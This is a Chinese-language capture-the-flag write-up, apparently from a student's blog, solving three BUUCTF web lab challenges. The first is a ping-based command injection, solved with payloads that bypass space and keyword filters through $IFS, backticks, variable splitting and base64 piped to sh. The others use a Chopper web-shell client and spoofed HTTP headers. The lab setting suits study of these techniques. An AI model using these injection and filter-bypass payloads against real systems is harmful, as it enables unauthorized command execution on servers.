BUUCTF - web - PingPingPing+Knife+Http
作者:互联网
文章目录
前言
已经坚持了半个月了,有十多天一直在写杂项,直到学长委婉地告诉我杂项没啥技术性,就流量分析有点用,建议我学pwn,所以这几天我开始做web了
我会一直坚持下去
加油!
PingPingPing
分析
想到昨天做了一个ping加Linux命令,今天这个也可以试试
?ip=127.0.0.1|ls
尝试拿flag?ip=127.0.0.1|cat flag.php
看来空格被禁了,尝试绕过
换个绕过方法,这里选择先拿index.php?ip=127.0.0.1|cat$IFS$9index.php
有了,但正则不全,应该可以查看源码
可以看到绕过了各种符号、空格、bash和flag,而且flag是顺序匹配
构造payload
内联执行:反引号在linux中作为内联执行,执行输出结果
?ip=127.0.0.1|cat$IFS$9`ls`
如此会cat
到ls
的结果
的确用这种方法拿到index.php了,但不见flag,应该藏到源码里了
得到flag{8c34c264-96a1-42c7-b5cf-7af02fd8a862}
其他方法
既然是绕过,就有多种绕过方法
上面提到需要绕过空格,我用了两种绕过方法,以下是绕过空格的整理:
{cat,flag.txt}
cat$IFS$9flag.txt
cat${IFS}flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
//\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过
回到这个题
看源码得知顺序匹配了flag,那也可以交换flag四个字母的顺序
b=ag.php;a=fl;cat$IFS$9$a$b
还有一种方式可以绕过flag匹配,那就是编码
将cat flag.php
base64加密
原命令为:echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh
用空格绕过法填充空格
echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh
总之方法很多,平时练题要多思考,感觉哪个题有意思可以做完后去找找别人写的WP,说不定有新收获
白给的shell
很无聊的一道题
帮他找菜刀
打开根目录拿到白给的flag
得到flag{f663edb8-d17f-4f6a-8845-dfa6ae0ca44a}
Http
一看到这就知道是套路,直接看源码
Repeater
It doesn't come from 'https://Sycsecret.buuoj.cn'
,那就把referer改成https://Sycsecret.buuoj.cn
Please use "Syclover" browser
,那就把User-Agent改成Syclover
No!!! you can only read this locally!!!
,那就添加X-Forwarded-For: 127.0.0.1
得到flag{33445841-508a-4a08-872b-52f013612cee}
一道比较基础的web题,可以请教一下烨神的博客
标签:web,BUUCTF,IFS,cat,空格,flag,PingPingPing,绕过,txt 来源: https://blog.csdn.net/SuichI314/article/details/121111974